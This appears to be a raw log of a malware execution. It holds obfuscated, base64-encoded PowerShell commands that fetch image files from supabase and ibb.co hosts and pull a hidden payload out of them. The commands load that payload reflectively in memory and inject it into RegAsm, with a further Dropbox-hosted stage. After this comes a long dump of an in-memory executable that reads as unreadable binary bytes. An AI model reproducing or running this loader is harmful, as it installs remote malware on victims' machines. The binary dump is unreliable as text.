aQBuAGcAKAAkAHMAdABhAHIAdABJAG4AZABlAHgALAAgACQAYgBhAHMAZQA2ADQATABlAG4AZwB0AGgAaAApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGUAbgBkAEkAbgBkAGUAeAAgAD0AIAAkAGkAbQBhAGcAZQBUAGUAeAB0AC4ASQBuAGQAZQB4AE8AZgAoACQAZQBuAGQARgBsAGEAZwApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABjAG8AbQBtAGEAbgBkAEIAeQB0AGUAcwAgAD0AIABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABiAGEAcwBlADYANABDAG8AbQBtAGEAbgBkACkAOwAgACAAIAAkAGUAbgBkAEkAbgBkAGUAeAAgAD0AIAAkAGkAbQBhAGcAZQBUAGUAeAB0AC4ASQBuAGQAZQB4AE8AZgAoACQAZQBuAGQARgBsAGEAZwApADsAIAAgACAAJABlAG4AZABJAG4AZABlAHgAIAA9ACAAJABpAG0AYQBnAGUAVABlAHgAdAAuAEkAbgBkAGUAeABPAGYAKAAkAGUAbgBkAEYAbABhAGcAKQA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGwAbwBhAGQAZQBkAEEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUgBlAGYAbABlAGMAdABpAG8AbgAuAEEAcwBzAGUAbQBiAGwAeQBdADoAOgBMAG8AYQBkACgAJABjAG8AbQBtAGEAbgBkAEIAeQB0AGUAcwApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAARwBlAHQALQBQAHIAbwBjAGUAcwBzACAAfAAgAFMAbwByAHQALQBPAGIAagBlAGMAdAAgAEMAUABVACAALQBEAGUAcwBjAGUAbgBkAGkAbgBnACAAfAAgAFMAZQBsAGUAYwB0AC0ATwBiAGoAZQBjAHQAIAAtAEYAaQByAHMAdAAgADUAIAB8ACAARgBvAHIAbQBhAHQALQBUAGEAYgBsAGUAIABOAGEAbQBlACwAQwBQAFUADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAdAB5AHAAZQAgAD0AIAAkAGwAbwBhAGQAZQBkAEEAcwBzAGUAbQBiAGwAeQAuAEcAZQB0AFQAeQBwAGUAKAAnAHQAZQBzAHQAcABvAHcAZQByAHMAaABlAGwAbAAuAEgAbwBhAGEAYQBhAGEAYQBzAGQAbQBlACcAKQA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAANAAoAIAAgACAAIAAgACAAIAAgACAAIABHAGUAdAAtAFAAcgBvAGMAZQBzAHMAIAB8ACAAUwBvAHIAdAAtAE8AYgBqAGUAYwB0ACAAQwBQAFUAIAAtAEQAZQBzAGMAZQBuAGQAaQBuAGcAIAB8ACAAUwBlAGwAZQBjAHQALQBPAGIAagBlAGMAdAAgAC0ARgBpAHIAcwB0ACAANQAgAHwAIABGAG8AcgBtAGEAdAAtAFQAYQBiAGwAZQAgAE4AYQBtAGUALABDAFAAVQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABpAG4AagBlAGMAPQAnAFIAZQBnAEEAcwBtACcAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABtAGUAdABoAG8AZAAgAD0AIAAkAHQAeQBwAGUALgBHAGUAdABNAGUAdABoAG8AZAAoACcAbABmAHMAZwBlAGQAZABkAGQAZABkAGQAYQAnACkALgBJAG4AdgBvAGsAZQAoACQAbgB1AGwAbAAsACAAWwBvAGIAagBlAGMAdABbAF0AXQAgACgAJwB0AHgAdAAuAHAALwB3AEsAcQBkAHQATgBIAGsAOABZAHgAVgBLAEgANwBoAE0AMABXAHEANgBFAFkAWQB4AEoAVwBvAGkAaABZAFkAWQB5AGMAOQBUAHMAUABGAFYAOQAwAGkATQBaAGEARwBTAGwAZwBVAF8AZwBPAFUAeQA2ADEARgA3AGsASQBiAEEAOQBGAEgARABUAHUANgBkADMANwBwAGsAYwBDAFQAeQB3AEMAOABRADQAZwBZAFcAcQByAHUARAB1AEIAUwA5AHkAMwBvAFIAWABEAFIAVwBwAGoAbgBDAFMAVwBEAGUATgBxAHEALQBqAF8AMgBFADAAMQBxAHkAdwBPAGwASwBMAHoAMQBzAHQAbgBd@AGgAXwB0ADkAYQA5AEYAXwBMAEYAQwBmADMARgBJAGYANABNAGIAeQBOAGEAWgBVAFoAbABBAE4AMABtAFYASQBDAFgAZgBCADAAYQBPAFgAegBoAG0AeQBaAE4ALQBGAGoAQgA3AGMAdwBHAHcASAB2ADQASgBWAGkAbQBKAE0AdwA3AHIAcgA5ADkAdQBNAE4AaABjAFEAbABLAGYAYgBFAEgANgBPADQATQAwAEIAOQAyAGoAZQBmAHEANgAxAFIAWQBd@ADIAbQBnAGQAVQAyAGwARQBUAEUAUwA2AEsAcQBRAFkAcQBlAFAAVABkAGMARQB3AEMAcABhADMAawBzAFQAZQA5AE0AMABkAEMAOQBpAGIAbgB5AGYANgB5AFgAQgB6AGsAVQBzAGUAUAAxAGsAcgAzAFYAVwBZAHgASABuAHUAMABFAEoAbQBTADYAYgBZAC0ARwBBAHMAUgB4AEoAaQB2ADkAYgByADUAVgBnADQAagBfAFIANAB6AFIAMwBnAFQAYwBlAFQAZgBtAG0AOQBfAHgAbwB2AGYANgBtAHkAOABDAEoAWABZAG4AUQBsAFoAdABwAFQATABsAHMATQB1AEMAQQAvAGcAaQByAG8ALwBwAC8AbQBvAGMALgB0AG4AZQB0AG4AbwBjAHIAZQBzAHUAeABvAGIAcABvAHIAZAAuAHMAdwBlAGkAdgBlAHIAcAAuADYAMwA3AGQAZQA4ADQAMQBkADMAMwBhADIANgBlAGEAZgA3ADIAMwBiADMAMgAyADEAYQBjAHUALwAvADoAcwAnACwAIAAnADIAJwAsACAAJwBTAHQAYQByAHQAdQBwAE4AYQBtAGUAJwAsACAAJABpAG4AagBlAGMALAAgACcAMAAnACAALAAgACcAeAA4ADYAJwApACkAfQB9AA=='';$oWjuxd = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string($ddsdgo.replace(''d@'',''r'')));iex $OWjuxD\\"'"" on 2025-8-25.20:17:43.175 "-Command "$ddsdgo = 'WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAAgAD0AIABbAE4AZQB0AC4AUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbABUAHkAcABlAF0AOgA6AFQAbABzADEAMgANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAZgB1AG4AYwB0AGkAbwBuACAARABvAHcAbgBsAG8AYQBkAEQAYQB0AGEARgByAG8AbQBMAGkAbgBd@AHMAIAB7ACAAcABhAHIAYQBtACAAKABbAHMAdAByAGkAbgBnAFsAXQBdACQAbABpAG4AawBzACkAIAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJAB3AGUAYgBDAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsAIAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABzAGgAdQBmAGYAbABlAGQATABpAG4AawBzACAAPQAgAEcAZQB0AC0AUgBhAG4AZABvAG0AIAAtAEkAbgBwAHUAdABPAGIAagBlAGMAdAAgACQAbABpAG4AawBzACAALQBDAG8AdQBuAHQAIAAkAGwAaQBuAGsAcwAuAEwAZQBuAGcAdABoADsAIAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAJABsAGkAbgBd@ACAAaQBuACAAJABzAGgAdQBmAGYAbABlAGQATABpAG4AawBzACkAIAB7ACAAdAByAHkAIAB7ACAAcgBlAHQAdQByAG4AIAAkAHcAZQBiAEMAbABpAGUAbgB0AC4ARABvAHcAbgBsAG8AYQBkAEQAYQB0AGEAKAAkAGwAaQBuAGsAKQAgAH0AIABjAGEAdABjAGgAIAB7ACAAYwBvAG4AdABpAG4AdQBlACAAfQAgAH0AOwAgAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAByAGUAdAB1AHIAbgAgACQAbgB1AGwAbAAgAH0AOwAgAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAEIAeQB0AGUAcwAgAD0AIAAnAGgAdAB0ACcAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABCAHkAdABlAHMAMgAgAD0AIAAnAHAAcwA6AC8ALwAnADsADQAKACAAIAAgACAAIAAgACAAIAAkAGwAZgBzAGQAZgBzAGQAZwAgAD0AIAAgACQAQgB5AHQAZQBzACAAKwAkAEIAeQB0AGUAcwAyADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAbABpAG4AawBzACAAPQAgAEAAKAAoACQAbABmAHMAZABmAHMAZABnACAAKwAgACcAYgBiAHIAbAB4AHcAdABd@AGIAZwB2AHAAbgBwAGYAeQBd@AGUAeAB1AC4AcwB1AHAAYQBiAGEAcwBlAC4AYwBvAC8AcwB0AG8AcgBhAGcAZQAvAHYAMQAvAG8AYgBqAGUAYwB0AC8AcAB1AGIAbABpAGMALwBuAGEAbgBvAC8AaQBtAGEAZwBlAC4AagBwAGcAPwAxADIANwAxADEAMwA0ADMAJwApACwAIAAoACQAbABmAHMAZABmAHMAZABnACAAKwAgACcAaQAuAGkAYgBiAC4AYwBvAC8AQwA1AHkANwBwADUAawBkAC8AaQBtAGEAZwBlAC4AagBwAGcAPwAxADIANwAxADEAMwA0ADMAJwApACkAOwAgACAAIAAgACAAIAAgACAADQAKACAAIAAgACAAIAAgACAAIAAkAGkAbQBhAGcAZQBCAHkAdABlAHMAIAA9ACAARABvAHcAbgBsAG8AYQBkAEQAYQB0AGEARgByAG8AbQBMAGkAbgBd@AHMAIAAkAGwAaQBuAGsAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGkAZgAgACgAJABpAG0AYQBnAGUAQgB5AHQAZQBzACAALQBuAGUAIAAkAG4AdQBsAGwAKQAgAHsAIAAkAGkAbQBhAGcAZQBUAGUAeAB0ACAAPQAgAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAaQBtAGEAZwBlAEIAeQB0AGUAcwApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABzAHQAYQByAHQARgBsAGEAZwAgAD0AIAAnADwAPABCAEEAUwBFADYANABfAFMAVABBAFIAVAA+AD4AJwA7ACAAJABlAG4AZABGAGwAYQBnACAAPQAgACcAPAA8AEIAQQBTAEUANgA0AF8ARQBOAEQAPgA+ACcAOwAgACQAcwB0AGEAcgB0AEkAbgBkAGUAeAAgAD0AIAAkAGkAbQBhAGcAZQBUAGUAeAB0AC4ASQBuAGQAZQB4AE8AZgAoACQAcwB0AGEAcgB0AEYAbABhAGcAKQA7ACAADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAZQBuAGQASQBuAGQAZQB4ACAAPQAgACQAaQBtAGEAZwBlAFQAZQB4AHQALgBJAG4AZABlAHgATwBmACgAJABlAG4AZABGAGwAYQBnACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABpAGYAIAAoACQAcwB0AGEAcgB0AEkAbgBkAGUAeAAgAC0AZwBlACAAMAAgAC0AYQBuAGQAIAAkAGUAbgBkAEkAbgBkAGUAeAAgAC0AZwB0ACAAJABzAHQAYQByAHQASQBuAGQAZQB4ACkAIAB7ACAAJABzAHQAYQByAHQASQBuAGQAZQB4ACAAKwA9ACAAJABzAHQAYQByAHQARgBsAGEAZwAuAEwAZQBuAGcAdABoADsAIAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABiAGEAcwBlADYANABMAGUAbgBnAHQAaABoACAAPQAgACQAZQBuAGQASQBuAGQAZQB4ACAALQAgACQAcwB0AGEAcgB0AEkAbgBkAGUAeAA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAYgBhAHMAZQA2ADQAQwBvAG0AbQBhAG4AZAAgAD0AIAAkAGkAbQBhAGcAZQBUAGUAeAB0AC4AUwB1AGIAcwB0AHIAaQBuAGcAKAAkAHMAdABhAHIAdABJAG4AZABlAHgALAAgACQAYgBhAHMAZQA2ADQATABlAG4AZwB0AGgAaAApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGUAbgBkAEkAbgBkAGUAeAAgAD0AIAAkAGkAbQBhAGcAZQBUAGUAeAB0AC4ASQBuAGQAZQB4AE8AZgAoACQAZQBuAGQARgBsAGEAZwApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABjAG8AbQBtAGEAbgBkAEIAeQB0AGUAcwAgAD0AIABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABiAGEAcwBlADYANABDAG8AbQBtAGEAbgBkACkAOwAgACAAIAAkAGUAbgBkAEkAbgBkAGUAeAAgAD0AIAAkAGkAbQBhAGcAZQBUAGUAeAB0AC4ASQBuAGQAZQB4AE8AZgAoACQAZQBuAGQARgBsAGEAZwApADsAIAAgACAAJABlAG4AZABJAG4AZABlAHgAIAA9ACAAJABpAG0AYQBnAGUAVABlAHgAdAAuAEkAbgBkAGUAeABPAGYAKAAkAGUAbgBkAEYAbABhAGcAKQA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGwAbwBhAGQAZQBkAEEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUgBlAGYAbABlAGMAdABpAG8AbgAuAEEAcwBzAGUAbQBiAGwAeQBdADoAOgBMAG8AYQBkACgAJABjAG8AbQBtAGEAbgBkAEIAeQB0AGUAcwApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAARwBlAHQALQBQAHIAbwBjAGUAcwBzACAAfAAgAFMAbwByAHQALQBPAGIAagBlAGMAdAAgAEMAUABVACAALQBEAGUAcwBjAGUAbgBkAGkAbgBnACAAfAAgAFMAZQBsAGUAYwB0AC0ATwBiAGoAZQBjAHQAIAAtAEYAaQByAHMAdAAgADUAIAB8ACAARgBvAHIAbQBhAHQALQBUAGEAYgBsAGUAIABOAGEAbQBlACwAQwBQAFUADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAdAB5AHAAZQAgAD0AIAAkAGwAbwBhAGQAZQBkAEEAcwBzAGUAbQBiAGwAeQAuAEcAZQB0AFQAeQBwAGUAKAAnAHQAZQBzAHQAcABvAHcAZQByAHMAaABlAGwAbAAuAEgAbwBhAGEAYQBhAGEAYQBzAGQAbQBlACcAKQA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAANAAoAIAAgACAAIAAgACAAIAAgACAAIABHAGUAdAAtAFAAcgBvAGMAZQBzAHMAIAB8ACAAUwBvAHIAdAAtAE8AYgBqAGUAYwB0ACAAQwBQAFUAIAAtAEQAZQBzAGMAZQBuAGQAaQBuAGcAIAB8ACAAUwBlAGwAZQBjAHQALQBPAGIAagBlAGMAdAAgAC0ARgBpAHIAcwB0ACAANQAgAHwAIABGAG8AcgBtAGEAdAAtAFQAYQBiAGwAZQAgAE4AYQBtAGUALABDAFAAVQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABpAG4AagBlAGMAPQAnAFIAZQBnAEEAcwBtACcAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABtAGUAdABoAG8AZAAgAD0AIAAkAHQAeQBwAGUALgBHAGUAdABNAGUAdABoAG8AZAAoACcAbABmAHMAZwBlAGQAZABkAGQAZABkAGQAYQAnACkALgBJAG4AdgBvAGsAZQAoACQAbgB1AGwAbAAsACAAWwBvAGIAagBlAGMAdABbAF0AXQAgACgAJwB0AHgAdAAuAHAALwB3AEsAcQBkAHQATgBIAGsAOABZAHgAVgBLAEgANwBoAE0AMABXAHEANgBFAFkAWQB4AEoAVwBvAGkAaABZAFkAWQB5AGMAOQBUAHMAUABGAFYAOQAwAGkATQBaAGEARwBTAGwAZwBVAF8AZwBPAFUAeQA2ADEARgA3AGsASQBiAEEAOQBGAEgARABUAHUANgBkADMANwBwAGsAYwBDAFQAeQB3AEMAOABRADQAZwBZAFcAcQByAHUARAB1AEIAUwA5AHkAMwBvAFIAWABEAFIAVwBwAGoAbgBDAFMAVwBEAGUATgBxAHEALQBqAF8AMgBFADAAMQBxAHkAdwBPAGwASwBMAHoAMQBzAHQAbgBd@AGgAXwB0ADkAYQA5AEYAXwBMAEYAQwBmADMARgBJAGYANABNAGIAeQBOAGEAWgBVAFoAbABBAE4AMABtAFYASQBDAFgAZgBCADAAYQBPAFgAegBoAG0AeQBaAE4ALQBGAGoAQgA3AGMAdwBHAHcASAB2ADQASgBWAGkAbQBKAE0AdwA3AHIAcgA5ADkAdQBNAE4AaABjAFEAbABLAGYAYgBFAEgANgBPADQATQAwAEIAOQAyAGoAZQBmAHEANgAxAFIAWQBd@ADIAbQBnAGQAVQAyAGwARQBUAEUAUwA2AEsAcQBRAFkAcQBlAFAAVABkAGMARQB3AEMAcABhADMAawBzAFQAZQA5AE0AMABkAEMAOQBpAGIAbgB5AGYANgB5AFgAQgB6AGsAVQBzAGUAUAAxAGsAcgAzAFYAVwBZAHgASABuAHUAMABFAEoAbQBTADYAYgBZAC0ARwBBAHMAUgB4AEoAaQB2ADkAYgByADUAVgBnADQAagBfAFIANAB6AFIAMwBnAFQAYwBlAFQAZgBtAG0AOQBfAHgAbwB2AGYANgBtAHkAOABDAEoAWABZAG4AUQBsAFoAdABwAFQATABsAHMATQB1AEMAQQAvAGcAaQByAG8ALwBwAC8AbQBvAGMALgB0AG4AZQB0AG4AbwBjAHIAZQBzAHUAeABvAGIAcABvAHIAZAAuAHMAdwBlAGkAdgBlAHIAcAAuADYAMwA3AGQAZQA4ADQAMQBkADMAMwBhADIANgBlAGEAZgA3ADIAMwBiADMAMgAyADEAYQBjAHUALwAvADoAcwAnACwAIAAnADIAJwAsACAAJwBTAHQAYQByAHQAdQBwAE4AYQBtAGUAJwAsACAAJABpAG4AagBlAGMALAAgACcAMAAnACAALAAgACcAeAA4ADYAJwApACkAfQB9AA==';$oWjuxd = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string($ddsdgo.replace('d@','r')));iex $OWjuxD"" on 2025-8-25.20:18:21.8544d:T7730,Executable loaded in memory "MZ@ !L!This program cannot be run in DOS mode. $PEd(h"l @ @@j H.text0 `.rsrcj@l@@Hh* "(z *b(z U%}*>(z }*>(z }*^}({ ( * *0f~ ]+0+5+6~%-&~s| %++!+&++++**(++(++(++(++s + ++0 ~ v88~8~8888~ 88+?,L~~~~(( (# ( (X,--+*(8_ 8^8b8f(8a(8\ 8[(8`8_0M,#~~++++$- ~+++#++"*(&++()+ ++(,+++ * *0h,!+?,+>{++4+5,,-,~+%{+!-~+++*++ +++(/+++(2+0,=88}88}88}88}8s } ~(/~{~{~ ((8~ {(2:~*{s (A~{ Vs (5~{~ ((8~${Ks (;~({(>~{~ ((8~ {(2~*{ s (A~{ s (5~{~ ((8~${ s (;~({(>~{d s (5~{~ ((8~${Ks (;~({(>~{~ ((8~ {(2~{ s (5~{ ~ ((8~${ Ks (;~({ (>~{ ~ ((8~ { (2~-"A"As (D~/(G~% Ns (;~4~1(J{ (M~4~1(J{(M:95~4~1(J{(M~4~1(J{(M~4~1(J{(M~~ ((8~~ ((8~+s (A~(2~(/*8Js 8E8Is 8D8Hs 8C8Gs 8B8F+ ++*(? +(+s +>+*s+"( *~+~[~~+ +++*++(+(+(#+0!~ ++++*(+ ++0!~ ++++*(+ ++"( *+ ++ *(? +(+s +0!~8 ++++*(+ ++0!~8 ++++*(+ ++0R, -+-+++#+(-,&+-+'*(+(+(? +( +(++ ++01~\8<88~\88PX88~\88(X(~]0X( ~^X(~^X(~A~8 (~8 ((k (+} ~~_~8 (~8 (((~0~ ~ ~ oJ9$,s z9~3 {!~` (oV&~1 {!~` ( 0@oN~a~ (, ~1 {!~ 0@oN~a~ (,s z~2 {!~\TX(oR&938XX(ZX~\X(~\X(~\X(,+OU~b(~2 {!~`~d(jX(oR&Xh:H~e ( ~f 0 (~5 {" o^,s z~g (-~2 {!~`jX(~h~d((oR&~i ~d(jX(~4 {" oZ,s z~j (~6 {"ob,s z'~7 {"of&~7 {!of&*8(8 888(8888A4/'0V,+++0Y,jX+*++j+++,j[,Z,&&,-+ +!+*( ++ ++++++s +0M,",,~e++[X+-+++++"++!*++(+ +++(+++0O ~A~8 88~8 889&88*)~l~k~V*88(}=~/~ ~ ~ ~ o,s z~\<(~\4( ] ~m(,&~*{:oz,s z+"~){:ov s z) ~-{9 o s z 3~.{9 o+ s z~\P( ~\T(~+{9 0@o~ ,s z~,{9 o,s z %9~^(8~\(~\(~\ (,]ڍU~ci(~,{9 io ,:s z(!!:+~n (~,{9o"",s z~\((##, , ֞~m($$,&~({:or%%,s z+(:r~'{:on&&,s z~&{:oj'',s z(~o{;()s %~8 +(o %~p~8 8()](o %o %o %o %o *~q*(+~+(/~~s+((,~~u+((-+, ~+(/:"..:9*(88(8(k8 888(8)(8$A4A}\"( *07 8:&8%~8 8~8 I88&~8 8~8 Z88',~8 (~8 w((+(~8 (~8 ((+)~8 (~8 ((+*~8 (~8 (( ++(~8 (( +,~8 (~8 ((+-(~8 ((+.~8 (~8 *(( +/~8 ?(~8 *((+0~8 (~8 ((+1~8 (~8 ((+2~8 (~8 ((+3~8 (~8 w((+4~8 (~8 ((+5~8 (~8 I((+6~8 (~8 P((+7*(? 8#(8 s 8(8%(8*(+8%(8/(84(+8/0[-"~5+)--&~6+'-~7+#+(--~8+!*(P+ +(S+s+(V+(Y+"( *0 p ~58" 8' ~98# ~G 28 8 8$ 8% 9~;~8 ~8 ~G 7((((_9T~5#(P ~<%~G @(%%~G (%~~~G 7(((%~G #((b(~>~ ~G 4((e~~~G 7(((~@ ((hg&~>~ ~G y((e~~~G 7((( ~@ ( (h~9~G ((\9#~5#(P ~>~ ~G 4((e ~~~G (((~A~G (~G ((k~@ ((hݏ&~>~ ~G y((e~~~G (((~A~G (~G ((k~@ ((h~B(n~E~G ((q-!~E~G ((q+9~G ((~F (t~<%~G @(%%~G (%~~~G (((%~G #((b(~9~G ((\9~5#(P ~>~ ~G 4((e~~~G (((~A~G (~G ((k~@ ((hݏ&~>~ ~G y((e~~~G (((~A~G (~G ((k~@ ((h~G ((~F (t~<%~G @(%%~G (%~~~G (((%~G #((b(s ~H~(&(w~~G ((((+(+~J(z(+(+~9~G 1((\,K~M~L~G 6(~G ?((}(~G D((+I~M~L~G 6(~G ?((}(~G ((~9~G 2((\,~:~G D((\+9~~C(n~G I((s ~~G Z((8~~G k((8~~G t((8~~G ((8~~<%~G (%%~G (%%~G ((b(8~~A~G (~(~G 2((k(8~~G ;((8, ~(/s ~ ~O((8~Q~O((~~O((2~S(&*(P8 88(8(\8 8 888AdfngN,0i~G +0+5+6~I%-&~Hs| %I++!+&++++**(++(++(++(++s + ++09+c8h~ 8d~G d+^+f,~"+e+f+g--.~Q+c(s ~U(~S(&Es 8 88(8(88++(88+&,*"( *,+ ++F*(? +(+s +>+H*s+"( *~+~[~F~+ +++*++(+(+(#+&( *0~J,+G-=+E,2-,#~L ~+3~X~V.+)+.+3+8+9J~J+/+ * ++(+(+(+s ++++0 ~K+++* ++2+K*+b.++*(? +(+0~M+++* ++"( *~Y+ +t/M*s+(+(z *(z *(z *(z *(z *(z *0ZN + X+ +++( +(? + +&8 (88888o o Y,+Co ~3 +4+~O3:ZX+X:2Y/N X( ( tc&Co ,o ( & o iX-(? + Yo %9X 2~ o s o ~ o 1~ o 1~ o 1~ o 1+~ o X2~ o -~ +~ o ~ o o & o &Xi?*8o 8888@)) \ 0a:X%P+)O- +!+&-+$ +#+(++N-*( +(? + ++(^ +o +o +08W (8S8X8Y-8+8S8U8V886(? @,g~ (? -](? o s o -~ o ;(? o +Q o (? 33~ o _o ~ o ,~ o +Xi2~ o 6(? o o /8o 8&:X-i?*8o 88888 8A2>0n,8+~VY9%&~U,~T88&8,8*888-~S%X _- -R~ * @_- ?_b~S%XX+1 _b~S%XbX~S%XbX~S%XX~M~w~(&~S((~x~w~(&i((~U,~To & &-*888o 888888m' 02rpQrpRSUV~9~Qrp8,-U8T~y~R8V~z88~|8rp88,@~~~+A((U ,-~ (& (S ~(/+,~(/*(\8Bs 8H(8R(8W 8V8Z(8Z8YS( *(z *(z *(z *0+\+`8e8j8k8l8q8v8w,(.%-*,!,+-.*-Xi2*8o 8o 8 88o 8o 8880f+T8Y-+- -+++++ +!+"o ,)++++o +++ -o *s 8 8=D0f+T8Y-+- -+++++ +!+"o ,)++++o +++,, -o *s 8 8=D0888888.888-*s%:U o PK@ohoo PK33 -.rYps zo&o&o&oo o %:%:1 U9& ob & 1 U ob &o` o YԍU iob & sU io& 8Qc,,bY {z}@#3boU +GooUiob &s o&-X23XU%( U%( (iYo ( ,o 3eU%( U%( (iYo ( ,o rps zo *( 8M 8L(^ 8G8F8E8D8E8D(8?.sJ++*+(+j+++ + *+++(+j+++ + *+++(+0888:88888 Y_b89%,b`( b`( b`( b`( d`n t%( %,i+&%Xa _d9na,Y%/a PKoooo iooo oio( rpo ioo io o+& Uo1o o,o+& U o1 o o,o PKooooo iooioio iooooooo io PKooooo. iXo iXjXioo: o &io8:@ {z}oio8 iY( Ui(J o oioso+' Uo1o o,o+' Uo1o o,o o oioo iXi? 83N {z}o((io - io ^,o %,3K {z}o((io io ,o o o o ds8_ 8^8]s8]8\( 8W8V( 8S( 8\rpo ( W *AL"([z\( s}os}p}i{oio*0 8{p8888{i88%9YE*88{p8:&&Y% /*{r{oo% _, /&-/*}s}r:e}i*~e Y}k~f Y}j{j1>}i{o{jo/*{o{jo%{kX}k }i{s{oo/*~g}l~h}j{j1? }i{o{jo /*{o{jo%{l X}l{p{k{lo{kY }i <;*8o8 88"8%8#8D8Ho8F0::8{i8,8YEd88{n-,8}i*8{o8:&8/*{oo_,}ncE8+K{oo}i+7~}r~}s}i,[+,s}q}i*{oo%}m%-(/*{oo}i{oo/*{oo}i{p{o{mo%{mY}m{m- }i*{oo*{q{oo-*{qo}r{qo}s}i(**%-*8 8 88B8K8So8T 8U8T0-1%-)+d8e{i% .++]{p+\+]+^+_+g8hX X Y-*(-{po%-1 {i@* 888+++o8880|]%+Qe-B]%+Af,]%+1g%,]%+!h--*( +( +( +( +08{x8<8{u8{v3:,o*,%{w8{t%{u%8X}u8 _8{t%{u%8}X}u _b`{x_b`}w%{xX}x{wn-_b-%,Yj_i*82868:8>8Y 8e8k8q8}%{w+_d}w-%{x+ Y}x,*++.+{x*++${v+ {u-Y-+{x-c-X*+++%{w+ {x__d}w%{x_}x*+^+{u+{v*++0<8+N8%X88{wҜ%{wd}w%{xY}x8Y88X88{x91-0-*{v{uY1{t{u(I %{uX}u{u{vY_,+{t%{u%X}u _}w}x94:9v9sX* 88888 8 8 8 8( *0I,*+,+-+.+/%+.}x%+(}v%+"}u+}w-*++++ ++++0,v8{u8{v/8z88X880880i1s z_,3%{w%X _{x_b`}w%{xX}x}t}u}v*8e8is 8k8k8j 8j8j8k8j0v%{}%+SX}}-+J 3,+Az,+B{{%{|%+6X}|+0+1Ҝ--%{| _}|* ++s +++++0x,Y+K,T+S{{%{|%+GX}|+A+B{{%X+:%{| _}|+(, _+ %Y,+0*+ +++++++0%{}8X%8}}8 18z8{|8Y _8 8Y80c{|/Z0L{{{{{|(I %{|X}|*{{%{|% X}| {{%X %Y0*(*8@8A8Es 8G8G8K 8Q8U8U08- 8{}Y88888 %,8{|Y813,{{{|o -3){{YoX +{{{|o {|X _}|-%{}X}}-*8A8H( 8I8Ho8C( 8>8<8C8H0+X{}1+Tz+[ 1"+X,+V,- YX, ,F& +B+D+E{{(I _}|-*8s 88++++++F +{}Y*+.+{}*+08{|888{}18{}8+%8{|8{}Y8-2X _ ,-Y1#{{ Y(I -X,"{{Y(I %{}Y}}{}/s z,*8C 8G8F8E8K8N8O8S8X0!++%+}|+}}*++ ++^ U}{( *0 U8:9&,\+8%X88 2,`+-8%X8 8 2+8%X %,62+%X 2s U +%X 2,s* 8H8P8T8W8X8f8i8k8s:( (*0f ]8$]88+88888188]%q]X]X9ti2 +VY_bX 22 _ _:,XYY_cXX1y} +k _ - Y_bY _ +0{ ( eb `h Y_bX X 2 Y /89,:%( 0({b`h_bX 2+S{ ___bce99{ c`b`h_bX2Y_bXXi9?3* 88888 8 88 80D8 o%8?8{8%:&%-288_9&&8c*ce_ o% -2{ c`_oc*oo { c`_0_oc9P**oo {92_,-0_o,c**8 88888 8o8 8( *0!8|{8x8zEP*+8]8^8^}8^{9/*%{ X}8=8=}o}{/*%{X}o{{X}{U}}o}{/*%{X}oU}}}+8o /*o{~{Ҝ%{X}{{2{s}}}}+={%{%X}%}{{:c3*{o%9_,/*2}Y}}~{o /*o ~{X + {%{%X}{ %Y 0{{3*}88~8888o888o80G"+%{U++{++{+++*+ ++++(I ++s+0P"++{U+"+#{+{++{+++*+ +++++(I ++s+0\]%+9-%,]%+'-%,͍]%+*( +( +( +}( s}{s}*.+{*+B%{`}*+{3 + {+ **++o+R+{+*+o+f+ 